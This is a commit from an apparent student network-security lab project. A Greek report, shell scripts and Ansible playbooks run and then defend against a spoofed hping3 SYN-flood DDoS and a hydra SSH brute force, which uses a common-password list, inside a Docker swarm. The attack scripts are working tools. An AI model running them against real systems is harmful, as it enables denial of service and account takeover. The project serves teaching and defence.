Browse Source

changes

master
cse242017107 4 years ago
parent
commit
1e787d2e65
  1. 484
      project.adoc
  2. 1135
      project.html
  3. 5
      src/block_ddos.sh
  4. 48
      src/execute_playbook.sh
  5. 11
      src/generate_keys.sh
  6. 9
      src/myplaybooks/configure_ssh.yml
  7. 12
      src/myplaybooks/connect_to_vpn.yml
  8. 11
      src/myplaybooks/install_hping3.yml
  9. 11
      src/myplaybooks/install_openvpn.yml
  10. 9
      src/myplaybooks/start_ddos_attack.yml
  11. 9
      src/myplaybooks/stop_ddos_attack.yml
  12. 27
      src/myplaybooks/transfer_scripts.yml
  13. 8
      src/myserver/index.html
  14. 200
      src/password_list.txt
  15. 21
      src/prepare_system.sh
  16. 6
      src/ssh_brute_force.sh
  17. 6
      src/start_remote_ssh_forwarding.sh
  18. 4
      src/start_server.sh
  19. 4
      src/stop_server.sh
  20. 11
      src/transfer_vpn_files.sh
  21. 16
      src/worker_scripts/block_ssh_brute_force.sh
  22. 7
      src/worker_scripts/configure_ssh.sh
  23. 3
      src/worker_scripts/connect_to_vpn.sh
  24. 6
      src/worker_scripts/curl.sh
  25. 19
      src/worker_scripts/detect_ssh_brute_force.sh
  26. 6
      src/worker_scripts/start_ddos.sh
  27. 6
      src/worker_scripts/start_local_ssh_forwarding.sh
  28. 4
      src/worker_scripts/stop_ddos.sh
  29. 10
      vpn/extra_lines
  30. 62
      vpn/initiate-vpn.sh

484
project.adoc

@ -0,0 +1,484 @@
= Ασφάλεια Δικτύων και Επικοινωνιών - Εργασία Εξαμήνου
Καραβίδας Γεώργιος cse242017107@uniwa.gr - Θεοδωρόπουλος Διονύσιος cs171208@uniwa.gr
:toc: right
:toc-title: Πίνακας περιεχομένων
:toclevels: 4
:source-highlighter: highlightk
:icons: font
:sectnums:
{empty} +
== Περιγραφή και Προετοιμασία του Συστήματος
=== Προαπαιτούμενα
Για την υλοποίηση των ζητουμένων της εργασίας έγινε χρήση της πλατφόρμας του http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html[Docker] καθώς και εγκατάσταση http://docs.swarmlab.io/SwarmLab-HowTos/labs/sec/sec.adoc.html[Σμήνους] σύμφωνα με τις οδηγίες του εργαστηρίου.
{empty} +
=== Αρχιτεκτονική Συστήματος
.Για τους σκοπούς των ερωτημάτων χρησιμοποιήσαμε ένα cluster αποτελούμενο από 5 οντότητες:
* Ένας master κόμβος ο οποίος αποτελεί συντονιστής για το σμήνος όσον αφορά τις διάφορες λειτουργίες του. Επιπρόσθετα αναλαμβάνει την αυτοματοποιημένη - μαζική εγκατάσταση λογισμικών που θα
χρησιμοποιηθούν από τα μέλη του σμήνους για την διεκπαιρέωση εργασιών
* Τέσσερις worker κόμβοι οι οποίοι συμβάλουν στις ποικίλες διαδικασίες του συστήματος
{empty} +
=== Script Προετοιμασίας Συστήματος
Εφόσον θέσουμε σε λειτουργία το Σμήνος, συνδεόμαστε στον master και εκτελούμε το πρώτο μας script(prepare_system.sh).
.prepare_system.sh
----
#!/bin/bash
# must run with sudo!!!
sysctl -w net.ipv4.tcp_syncookies=0
apt-get update
apt-get install ansible -y
apt-get install sshpass -y
sed '/\[defaults\]/a host_key_checking = False' /etc/ansible/ansible.cfg > temp && cat temp > /etc/ansible/ansible.cfg
rm temp
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
echo "[workers]" > inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory
master=$(ifconfig | grep 255.255.0.0 | awk '{print $2}')
echo -e "\n[all_hosts]" >> inventory
echo $master >> inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory
----
Το εν λόγω script αναλαμβάνει να προετοιμάσει τον master κόμβο για τις διάφορες λειτουργίες που θα λάβουν χώρα στην σύνεχεια. Συγκεκριμένα:
* Απενεργοποιεί το αντίμετρο net.ipv4.tcp_syncookies. Το αντίμετρο SYN cookie αντιμετωπίζει περιστατικά IP Spoofing καθώς έχει σκοπό την αποτροπή του γεμίσματος της ουράς συνδέσεων με αποτελέσμα καινούργιες συνδέσεις να μην γίνονται αποδεκτές. Η απενεργοποίηση του αντίμετρου είναι απαραίτητη καθώς ο master θα λειτουργήσει σαν θύμα του DDoS Attack
* Ενημερώνει την λίστα πακέτων του συστήματος
* Εγκαθιστεί το εργαλείο ansible
* Εγκαθιστεί το εργαλείο sshpass
* Παραμετροποιεί κατάλληλα το config αρχείο του προγράμματος ansible
* Εισάγει στο αρχείο inventory(το οποίο θα χρησιμοιηθεί από το ansible) δύο κατηγορίες χρηστών. Η πρώτη κατηγορία απευθύνεται στους workers του Σμήνους
ενώ η δεύτερη απευθύνεται σε όλους τους hosts
{empty} +
=== Αυτοματοποιημένες Διαδικασίες
Για την υλοποίηση μαζικών εγκαταστάσεων λογισμικού στα μέλη του σμήνους καθώς και ταυτόχρονη εκτέλεση προγραμμάτων έχουμε αναπτύξει το ακόλουθο script
.execute_playbook.sh
----
#!/bin/bash
echo "Choose a playbook to execute"
echo "1. Transfer scripts to workers"
echo "2. Install hping3 on workers"
echo "3. Start DDoS Attack"
echo "4. Stop DDoS Attack"
echo "5. Configure ssh on workers"
echo "6. Install openvpn on all hosts"
echo "7. Connect every host to VPN"
echo -e "\nEnter your option: "
read answer
case $answer in
1)
ansible-playbook -i inventory myplaybooks/transfer_scripts.yml --ask-pass --ask-become-pass
;;
2)
ansible-playbook -i inventory myplaybooks/install_hping3.yml --ask-pass --ask-become-pass
;;
3)
ansible-playbook -i inventory myplaybooks/start_ddos_attack.yml --ask-pass --ask-become-pass
;;
4)
ansible-playbook -i inventory myplaybooks/stop_ddos_attack.yml --ask-pass --ask-become-pass
;;
5)
ansible-playbook -i inventory myplaybooks/configure_ssh.yml --ask-pass --ask-become-pass
;;
6)
ansible-playbook -i inventory myplaybooks/install_openvpn.yml --ask-pass --ask-become-pass
;;
7)
ansible-playbook -i inventory myplaybooks/connect_to_vpn.yml --ask-pass --ask-become-pass
;;
*)
echo "invalid option"
;;
esac
----
Τρέχοντας το script ο χρήστης μπορεί να επιλέξει την λειτουργία που τον ενδιαφέρει. Η επεξήγηση των ansible playbooks θα πραγματοποιηθεί στην συνέχεια.
{empty} +
=== Μεταφορά Scripts στους workers
Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 1 με αποτέλεσμα το ansible να εκτελέσει το playbook transfer_scripts.yml.
.transfer_scripts.yml
----
---
- name: Transfer scripts to workers
hosts: workers
become: true
become_user: root
tasks:
- name: Transferring script curl.sh
copy: src=/project/worker_scripts/curl.sh dest=/home/docker mode=0777
- name: Transferring script start_ddos.sh
copy: src=/project/worker_scripts/start_ddos.sh dest=/home/docker mode=0777
- name: Transferring script stop_ddos.sh
copy: src=/project/worker_scripts/stop_ddos.sh dest=/home/docker mode=0777
- name: Transferring script detect_ssh_brute_force.sh
copy: src=/project/worker_scripts/detect_ssh_brute_force.sh dest=/home/docker mode=0777
- name: Transferring script block_ssh_brute_force.sh
copy: src=/project/worker_scripts/block_ssh_brute_force.sh dest=/home/docker mode=0777
- name: Transferring script configure_ssh.sh
copy: src=/project/worker_scripts/configure_ssh.sh dest=/home/docker mode=0777
- name: Transferring script start_local_ssh_forwarding.sh
copy: src=/project/worker_scripts/start_local_ssh_forwarding.sh dest=/home/docker mode=0777
----
Η επεξήγηση των λειτουργιών που εκτελεί κάθε script θα πραγματοποιηθεί στην συνέχεια.
{empty} +
== DDoS Attack
=== Έναρξη Λειτουργίας HTTP Server
Εκτελούμε το script start_server.sh στον *master* κόμβο.
.start_server.sh
----
#!/bin/bash
cd myserver
python -m SimpleHTTPServer 8000 &
----
Θέτουμε σε λειτουργία μία web υπηρεσία που εξυπηρετεί HTTP requests στην πόρτα 8000. Στον φάκελο myserver όπου εκκινούμε την υπηρεσία υπάρχει το αρχείο index.html
{empty} +
=== Παράδειγμα HTTP Request
Εκτελούμε το script curl.sh στον *worker_1*.
.curl.sh
----
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
curl http://$target:8000
----
Βρίσκουμε δυναμικά την διεύθυνση IP του server και πραγματοποιούμε ένα HTTP request μέσω του εργαλείου curl. Ο server μας απαντάει με το αρχείο index.html.
----
<!DOCTYPE html>
<html>
<body>
<h1>*Beep boop* the server is up and running</h1>
</body>
</html>
----
{empty} +
=== Εγκατάσταση Εργαλείου hping3 στους workers
Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 2 με αποτέλεσμα το ansible να εκτελέσει το playbook install_hping3.yml.
.install_hping3.yml
----
---
- name: Install hping3 on workers
hosts: workers
become: true
become_user: root
tasks:
- name: Installing hping3
apt:
name: hping3
state: present
----
{empty} +
=== Εκτέλεση DDoS Attack
Σε προηγούμενο βήμα μεταφέραμε ορισμένα scripts στους workers του Σμήνους. Ένα από αυτά είναι το start_ddos.sh
.start_ddos.sh
----
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
nohup hping3 -S -p 8000 --rand-source --fast $target &
----
Το script start_ddos.sh βρίσκει δυναμικά την διεύθυνση του HTTP Server και εκτελεί DoS επίθεση μέσω του εργαλείου hping3. Ακολουθεί επεξήγηση των επιλογών της εντολής hping3:
* nohup: Φροντίζει ώστε η διεργασία που δημιουργείται να τρέχει στο παρασκήνιο
* -S: Τα πακέτα που θα σταλθούν θα έχουν το SYN bit ενεργοποιημένο
* -p 8000: Η πόρτα προορισμού θα είναι η 8000
* --rand-source: Κάθε πακέτα θα έχει τυχαία διεύθυνση IP αποστολέα
* --fast: Τα πακέτα θα στέλνονται με γοργό ρυθμό
*Η επίθεση επομένως αποτελεί ένα SYN Flooding Attack με αποτέλεσμα πολλές συνδέσεις να μένουν μισάνοιχτες καθώς δεν ολοκληρώνεται το TCP Three Way Handshake.
Ο buffer συνδέσεων του Server γεμίζει και δεν δέχεται καινούργια αιτήματα. Επομένως επιτυγχάνεται Άρνηση Υπηρεσίας.*
Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 3 με αποτέλεσμα το ansible να εκτελέσει το playbook start_ddos_attack.yml.
.start_ddos_attack.yml
----
---
- name: Start DDoS
hosts: workers
become: true
become_user: root
tasks:
- name: Starting DDoS Attack
command: sh /home/docker/start_ddos.sh
----
Το playbook start_ddos_attack.yml εκτελεί ταυτόχρονα σε όλους τους workers το script start_ddos.sh με αποτέλεσμα την έναρξη DDoS Attack προς τον master(HTTP Server). Στη
συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh και παρατηρούμε ότι ο Server δεν ανταποκρίνεται.
{empty} +
=== Ανίχνευση DDoS Attack
Μεταβαίνουμε στον *master* κόμβο και εκτελούμε την εντολή *sudo tcpdump port 8000* ώστε να διαπιστώσουμε αν υφίσταται ασυνήθιστη δικτυακή κίνηση προς τον Server.
----
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
19:30:14.238511 IP 10.110.79.148.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0
19:30:14.238511 IP 112.148.52.179.d.dyn.claro.net.do.5525 > dd02ad277ce2.8000: Flags [S], seq 405413400, win 512, length 0
19:30:14.267454 IP 28.111.97.87.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0
19:30:14.303286 IP 50.239.103.26.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.338585 IP 194.108.17.99.5526 > dd02ad277ce2.8000: Flags [S], seq 222808557, win 512, length 0
19:30:14.338585 IP adsl-67-127-134-126.dsl.sndg02.pacbell.net.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.367571 IP 196.71.238.168.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.403351 IP 243.154.130.32.4699 > dd02ad277ce2.8000: Flags [S], seq 615709092, win 512, length 0
19:30:14.903838 IP 12.62.142.196.4704 > dd02ad277ce2.8000: Flags [S], seq 698537545, win 512, length 0
19:30:16.169422 IP 100.113.234.104.4716 > dd02ad277ce2.8000: Flags [S], seq 1700667867, win 512, length 0
19:30:17.341758 IP 150.53.177.105.4728 > dd02ad277ce2.8000: Flags [S], seq 1989391975, win 512, length 0
19:30:18.743039 IP 159-138-102-121.flets.hi-ho.ne.jp.4742 > dd02ad277ce2.8000: Flags [S], seq 1799290936, win 512, length 0
19:30:19.009312 IP 231.159.196.181.4745 > dd02ad277ce2.8000: Flags [S], seq 1787026710, win 512, length 0
----
Παρατηρούμε ότι πραγματοποιούνται πολλές συνδέσεις σε μικρό χρονικό διάστημα. Κάθε σύνδεση έχει διαφορετική διεύθυνση αποστολέα και το SYN bit είναι ενεργοποιημένο.
Επίσης καμία από τις συνδέσεις δεν φαίνεται να ολοκληρώνει το TCP Three Way Handshake επομένως συμπαιρένουμε ότι πρόκεται για μία SYN Flooding DDoS Attack.
Στην συνέχεια εκτελούμε την εντολή *netstat -tn | grep 8000*
----
tcp 0 0 172.19.0.2:8000 174.77.115.169:10162 SYN_RECV
tcp 0 0 172.19.0.2:8000 89.231.77.26:10134 SYN_RECV
tcp 0 0 172.19.0.2:8000 245.71.230.254:10182 SYN_RECV
tcp 0 0 172.19.0.2:8000 167.54.0.48:10146 SYN_RECV
tcp 0 0 172.19.0.2:8000 0.72.239.96:10203 SYN_RECV
tcp 0 0 172.19.0.2:8000 212.218.200.50:10345 SYN_RECV
tcp 0 0 172.19.0.2:8000 54.48.41.221:10325 SYN_RECV
tcp 0 0 172.19.0.2:8000 154.69.94.37:10290 SYN_RECV
----
Παρατηρούμε ότι έχουν πραγματοποιηθεί πολλές συνδέσεις στον HTPP Server ωστόσο σε καμία δεν έχει ολοκληρωθεί το TCP Three Way Handshake.
{empty} +
=== Αντιμετώπιση DDoS Attack
Για την εντιμετώπιση της επίθεσης συγκρίνουμε τα SYN πακέτα ανάμεσα σε ένα κανονικό HTTP request και σε ένα άιτημα που δημιουργήθηκε από το hping3.
----
16:55:22.111999 IP project_worker_4.project_net.33526 > 1e2f64f881f9.8000: Flags [S], seq 2437561719, win 64240, options [mss 1460,sackOK,TS val 1358362765 ecr 0,nop,wscale 7], length 0
16:37:29.718510 IP 224.8.186.98.2706 > 1e2f64f881f9.8000: Flags [S], seq 1460290212, win 512, length 0
----
Παρατηρούμε ότι τα πακέτα που στέλνονται μέσω του hping3 δεν θέτουν τιμή στο max segment size(mss) σε αντίθεση με τα κανονικά πακέτα που εκκινούν την σύνδεση. Επομένως μπορούμε να
φιλτράρουμε την κίνηση με βάση αυτό το κριτήριο.
.block_ddos.sh
----
#!/bin/bash
# must run with sudo!!!
sudo iptables -I INPUT -p tcp --dport 8000 --tcp-flags SYN SYN -m tcpmss ! --mss 0:65535 -j DROP
----
Το script block_ddos.sh εισάγει στην αλυσίδα INPUT τον παραπάνω κανόνα σύμφωνα με τον οποίο Αν:
* Το πακέτο εισέρχεται στο σύστημα
* Το πρωτόκολλο που χρησιμοποιείται στο επίπεδο μεταφοράς είναι το TCP
* Η πόρτα προορισμού είναι η 8000
* Το SYN bit είναι ενεργοποιημένο
* Η τιμή του max segment size δεν ειναι απο 0 έως 65535(δηλαδή δεν έχει θέσει κάποιο mss)
* Τότε το πακέτο απορρίπτεται
Εκτελούμε το script και στη συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh από τον worker_1. Παρατηρούμε ότι ο Server επιστρέφει το αρχείο index.html
επομένως συμπεραίνουμε πως η επίθεση αντιμετωπίστηκε με επιτυχία.
Εκτελούμε την εντολή *sudo iptables --list* για την εμφάνιση του κανόνα που προστέθηκε μέσω του script
----
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere anywhere tcp dpt:8000 flags:SYN/SYN tcpmss match !0:65535
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
----
{empty} +
== SSH Bruce Force Attack
=== Εγκατάσταση Εργαλείου THC-Hydra
Για την πραγματοποίηση της επίθεσης εγκαθιστούμε το εργαλείο HTC-Hydra στον master κόμβο με την εντολή *sudo apt-get install hydra*. Σε αυτό το σενάριο ο master θα αποτελέσει τον
επιτιθέμενο ενώ το worker_1 θα αποτελέσει τον στόχο της επίθεσης.
{empty} +
=== Εκτέλεση SSH Bruce Force Attack
Έχουμε στην διάθεση μας το αρχείο password_list.txt το οποίο περιέχει τυχαίους κωδικούς. Στη συνέχεια εκτελούμε το script ssh_brute_force.sh.
.ssh_brute_force.sh
----
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
hydra -l docker -P password_list.txt $target ssh
----
Το script ssh_brute_force.sh βρίσκει δυναμικά την IP διεύθυνση του worker_1 και εξαπολύει επίθεση προς αυτόν χρησιμοποιώντας το εργαλείο THC-Hydra με τις ακόλουθες επιλογές:
* -l: Θεωρεί δεδομένο πως το όνομα χρήστη είναι "docker"
* -P: Δοκιμάζει όλους τους κωδικούς που υπάρχουν στο αρχείο password_list.txt
----
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-24 20:47:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking ssh://172.19.0.3:22/
[22][ssh] host: 172.19.0.3 login: docker password: docker
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-24 20:47:59
----
{empty} +
=== Ανίχνευση SSH Bruce Force Attack
Για την ανίχνευση του SSH Bruce Force Attack έχει αναπτυχθεί το script detect_ssh_brute_force.sh
.detect_ssh_brute_force.sh
----
#!/bin/bash
echo "Starting scan for SSH Brute Force Attacks"
while [ 1 ]
do
count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l)
if [ $count -gt 20 ]
then
attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1)
echo "SSH Bruce Force Attack detected!!!"
echo "$attacker made $count SSH connections at the same time"
echo -e
echo "Data collected:"
netstat -tn
break
fi
sleep 1
done
----
Το script detect_ssh_brute_force.sh ελέγχει επαννελημένα το αποτέλεσμα της εντολής *netstat -tn* και όταν ο αριθμός συνδέσεων στην πόρτα 22(δηλαδή στο SSH) είναι πάνω από 20
σταματάει την εκτέλεση του προγράμματος και εμφανίζει πληροφορίες σχετικά με την επίθεση.
----
Starting scan for SSH Brute Force Attacks
SSH Bruce Force Attack detected!!!
172.19.0.2 made 22 SSH connections at the same time
Data collected:
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 172.19.0.3:22 172.19.0.2:34536 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34476 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34532 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34500 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34454 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34510 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34508 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34518 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34516 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34506 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34502 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34474 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34524 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:51128 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34448 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34520 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34514 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34504 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34528 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34470 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34526 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34512 ESTABLISHED
----
{empty} +
=== Αντιμετώπιση SSH Bruce Force Attack
{empty} +
=== Τροποποίηση ssh-server στους workers
{empty} +
== SSH Tunelling
todo
{empty} +
== VPN
todo

1135
project.html

File diff suppressed because it is too large

5
src/block_ddos.sh

@ -0,0 +1,5 @@
#!/bin/bash
# must run with sudo!!!
sudo iptables -I INPUT -p tcp --dport 8000 --tcp-flags SYN SYN -m tcpmss ! --mss 0:65535 -j DROP

48
src/execute_playbook.sh

@ -0,0 +1,48 @@
#!/bin/bash
echo "Choose a playbook to execute"
echo "1. Transfer scripts to workers"
echo "2. Install hping3 on workers"
echo "3. Start DDoS Attack"
echo "4. Stop DDoS Attack"
echo "5. Configure ssh on workers"
echo "6. Install openvpn on all hosts"
echo "7. Connect every host to VPN"
echo -e "\nEnter your option: "
read answer
case $answer in
1)
ansible-playbook -i inventory myplaybooks/transfer_scripts.yml --ask-pass --ask-become-pass
;;
2)
ansible-playbook -i inventory myplaybooks/install_hping3.yml --ask-pass --ask-become-pass
;;
3)
ansible-playbook -i inventory myplaybooks/start_ddos_attack.yml --ask-pass --ask-become-pass
;;
4)
ansible-playbook -i inventory myplaybooks/stop_ddos_attack.yml --ask-pass --ask-become-pass
;;
5)
ansible-playbook -i inventory myplaybooks/configure_ssh.yml --ask-pass --ask-become-pass
;;
6)
ansible-playbook -i inventory myplaybooks/install_openvpn.yml --ask-pass --ask-become-pass
;;
7)
ansible-playbook -i inventory myplaybooks/connect_to_vpn.yml --ask-pass --ask-become-pass
;;
*)
echo "invalid option"
;;
esac

11
src/generate_keys.sh

@ -0,0 +1,11 @@
#!/bin/bash
ssh-keygen -t rsa
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
hosts=$(nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
for ip in $hosts
do
ssh-copy-id docker@$ip
done

9
src/myplaybooks/configure_ssh.yml

@ -0,0 +1,9 @@
---
- name: Configure ssh on workers
hosts: workers
become: true
become_user: root
tasks:
- name: Configuring ssh
command: sh /home/docker/configure_ssh.sh

12
src/myplaybooks/connect_to_vpn.yml

@ -0,0 +1,12 @@
---
- name: Connect to VPN
hosts: all_hosts
become: true
become_user: root
tasks:
- name: Transferring script connect_to_vpn.sh to every host
copy: src=/project/worker_scripts/connect_to_vpn.sh dest=/home/docker mode=0777
- name: Connecting to VPN
command: sh /home/docker/connect_to_vpn.sh

11
src/myplaybooks/install_hping3.yml

@ -0,0 +1,11 @@
---
- name: Install hping3 on workers
hosts: workers
become: true
become_user: root
tasks:
- name: Installing hping3
apt:
name: hping3
state: present

11
src/myplaybooks/install_openvpn.yml

@ -0,0 +1,11 @@
---
- name: Install openvpn on all hosts
hosts: all_hosts
become: true
become_user: root
tasks:
- name: Installing openvpn
apt:
name: openvpn
state: present

9
src/myplaybooks/start_ddos_attack.yml

@ -0,0 +1,9 @@
---
- name: Start DDoS
hosts: workers
become: true
become_user: root
tasks:
- name: Starting DDoS Attack
command: sh /home/docker/start_ddos.sh

9
src/myplaybooks/stop_ddos_attack.yml

@ -0,0 +1,9 @@
---
- name: Stop DDoS
hosts: workers
become: true
become_user: root
tasks:
- name: Stopping DDoS Attack
command: /home/docker/stop_ddos.sh

27
src/myplaybooks/transfer_scripts.yml

@ -0,0 +1,27 @@
---
- name: Transfer scripts to workers
hosts: workers
become: true
become_user: root
tasks:
- name: Transferring script curl.sh
copy: src=/project/worker_scripts/curl.sh dest=/home/docker mode=0777
- name: Transferring script start_ddos.sh
copy: src=/project/worker_scripts/start_ddos.sh dest=/home/docker mode=0777
- name: Transferring script stop_ddos.sh
copy: src=/project/worker_scripts/stop_ddos.sh dest=/home/docker mode=0777
- name: Transferring script detect_ssh_brute_force.sh
copy: src=/project/worker_scripts/detect_ssh_brute_force.sh dest=/home/docker mode=0777
- name: Transferring script block_ssh_brute_force.sh
copy: src=/project/worker_scripts/block_ssh_brute_force.sh dest=/home/docker mode=0777
- name: Transferring script configure_ssh.sh
copy: src=/project/worker_scripts/configure_ssh.sh dest=/home/docker mode=0777
- name: Transferring script start_local_ssh_forwarding.sh
copy: src=/project/worker_scripts/start_local_ssh_forwarding.sh dest=/home/docker mode=0777

8
src/myserver/index.html

@ -0,0 +1,8 @@
<!DOCTYPE html>
<html>
<body>
<h1>*Beep boop* the server is up and running</h1>
</body>
</html>

200
src/password_list.txt

@ -0,0 +1,200 @@
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
1234567890
michael
654321
superman
1qaz2wsx
7777777
121212
000000
qazwsx
123qwe
trustno1
jordan
jennifer
zxcvbnm
asdfgh
hunter
buster
soccer
harley
batman
andrew
tigger
sunshine
iloveyou
2000
charlie
robert
thomas
hockey
ranger
daniel
starwars
klaster
112233
george
computer
michelle
jessica
pepper
1111
zxcvbn
555555
11111111
131313
freedom
777777
pass
maggie
159753
aaaaaa
ginger
princess
joshua
cheese
amanda
summer
love
ashley
nicole
chelsea
biteme
matthew
access
yankees
987654321
dallas
austin
thunder
taylor
matrix
william
corvette
hello
martin
heather
secret
merlin
diamond
1234qwer
gfhjkm
hammer
silver
222222
88888888
anthony
justin
test
bailey
q1w2e3r4t5
patrick
internet
scooter
orange
11111
golfer
cookie
richard
samantha
bigdog
guitar
jackson
whatever
mickey
chicken
sparky
snoopy
maverick
phoenix
camaro
peanut
morgan
welcome
falcon
cowboy
ferrari
samsung
andrea
smokey
steelers
joseph
mercedes
arsenal
eagles
melissa
boomer
spider
nascar
docker
monster
tigers
yellow
xxxxxx
123123123
gateway
marina
diablo
bulldog
qwer1234
compaq
purple
hardcore
banana
junior
hannah
123654
porsche
lakers
iceman
money
987654
london
tennis
999999
ncc1701
coffee
scooby
0000
miller
boston
q1w2e3r4
brandon
yamaha
chester
mother
forever
johnny
blake
19891989
writer
usa123
topdog
speaker
rosemary
pancho
night
melody
lightnin
life

21
src/prepare_system.sh

@ -0,0 +1,21 @@
#!/bin/bash
# must run with sudo!!!
sysctl -w net.ipv4.tcp_syncookies=0
apt-get update
apt-get install ansible -y
apt-get install sshpass -y
sed '/\[defaults\]/a host_key_checking = False' /etc/ansible/ansible.cfg > temp && cat temp > /etc/ansible/ansible.cfg
rm temp
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
echo "[workers]" > inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory
master=$(ifconfig | grep 255.255.0.0 | awk '{print $2}')
echo -e "\n[all_hosts]" >> inventory
echo $master >> inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory

6
src/ssh_brute_force.sh

@ -0,0 +1,6 @@
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
hydra -l docker -P password_list.txt $target ssh

6
src/start_remote_ssh_forwarding.sh

@ -0,0 +1,6 @@
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
ssh -fNT -R 8080:localhost:8000 docker@$target

4
src/start_server.sh

@ -0,0 +1,4 @@
#!/bin/bash
cd myserver
python -m SimpleHTTPServer 8000 &

4
src/stop_server.sh

@ -0,0 +1,4 @@
#!/bin/bash
proc_id=$(ps -ef | grep "python -m SimpleHTTPServer 8000" | head -1 | awk '{print $2}')
kill $proc_id

11
src/transfer_vpn_files.sh

@ -0,0 +1,11 @@
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
cp /project/vpn_files/master.ovpn /home/docker/myvpn.ovpn
for host in worker_1 worker_2 worker_3 worker_4
do
ip=$(nmap -sP $network | grep $host | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
scp /project/vpn_files/$host.ovpn docker@$ip:/home/docker/myvpn.ovpn
done

16
src/worker_scripts/block_ssh_brute_force.sh

@ -0,0 +1,16 @@
#!/bin/bash
# must run with sudo!!!
while [ 1 ]
do
count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l)
